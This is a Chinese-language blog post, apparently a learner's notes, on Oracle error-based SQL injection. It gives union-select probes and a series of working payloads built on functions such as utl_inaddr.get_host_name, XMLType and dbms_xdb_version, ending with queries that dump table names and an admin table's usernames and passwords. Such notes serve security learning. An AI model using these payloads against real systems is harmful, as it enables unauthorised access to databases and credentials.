zoukankan      html  css  js  c++  java
  • 大哥带我走渗透4(中)----oracle报错注入

    5/30 报错注入

    0x01 准备阶段

    1. 基础知识今天了解了,但是,只能看懂和最基本的理解,不能自己上路。所以,还是要不停学习基础。并且及时总结。这有一篇很详细的文章:https://www.cnblogs.com/pshell/articles/7473713.html

    2.现在有基本思路了。先找注入点,然后再确定有几个字段,再确定字段的位置。通过字段位置,查数据库名、表名、列名。

    3.找注入点、确定字段数、判断回显位置。

    然后发现有三个null,接下来,我们寻找三个null中,哪些才是真正有价值的。

    第二个、第三个里面含有有价值的东西:

    union select null,'null',null from dual--
    union select null,null,'null' from dual--
    

     比如: 

    OK了,我们的准备工作就做完了,接下来,进入真正的爆库环节~

    0x02 报错函数注入

    1.在查询有哪些数据库名字之前,容我装个逼。嘻嘻【但是我喜欢单步执行(就是一步一查询)】

    我们来看看他的基础信息,嘻嘻。

    看一下数据库版本:

    union select null,(select banner from sys.v_$version where rownum=1),null from dual --

    看不到了,不来了

    2.报错函数注入

    • utl_inaddr.get_host_name()进行报错注入
    and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1))

    • ctxsys.drithsx.sn()进行报错注入
    ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))

     

    • XMLType()进行报错注入
    and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) 
    is not null --

     ????页面显示错误

    • dbms_xdb_version.checkin()进行报错注入
    and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not
    null--

    查询版本信息;

    • bms_xdb_version.makeversioned()进报错注入
    and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) 
    is not null --

    • dbms_xdb_version.uncheckout()进行报错注入
    and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) 
    is not null --
    • dbms_utility.sqlid_to_sqlhash()进行报错注入
    and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) 
    is not null -- 
    •  ordsys.ord_dicom.getmappingxpath()进行报错注入
    and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

    这几个都实践了,但是没有太大的改变,,要么是注入的输入错误了,要么就是报错的地方我认不到。。。

    •  decode进行报错注入

    and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual)--

     

    这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

    0x02 报错函数注入数据

     1.这里其实才是我刚开始想做的。

    Oracle 数据库的注入不同于其他数据库,如Access 和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名

     爆库【通过他的报错,一直回显】

    • 爆出第一个表SYS
    and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where 
    rownum=1) from dual))--

     

    • 爆出第二个表,构造语句
      and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$'))) --

    • 继续爆表

     

    • 爆admin
    and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

     

  • 相关阅读:
    jmeter Transaction Controller、Throughput Controller 控制器
    图书系统的简易代码
    模板简单梳理
    自制过滤器
    自制URL转换器
    URL简单梳理
    window下的Django入门
    十一、常用内建模块
    九、进程与线程
    八、错误、调试与测试
  • 原文地址:https://www.cnblogs.com/TEAM0N/p/10952351.html
Copyright © 2011-2022 走看看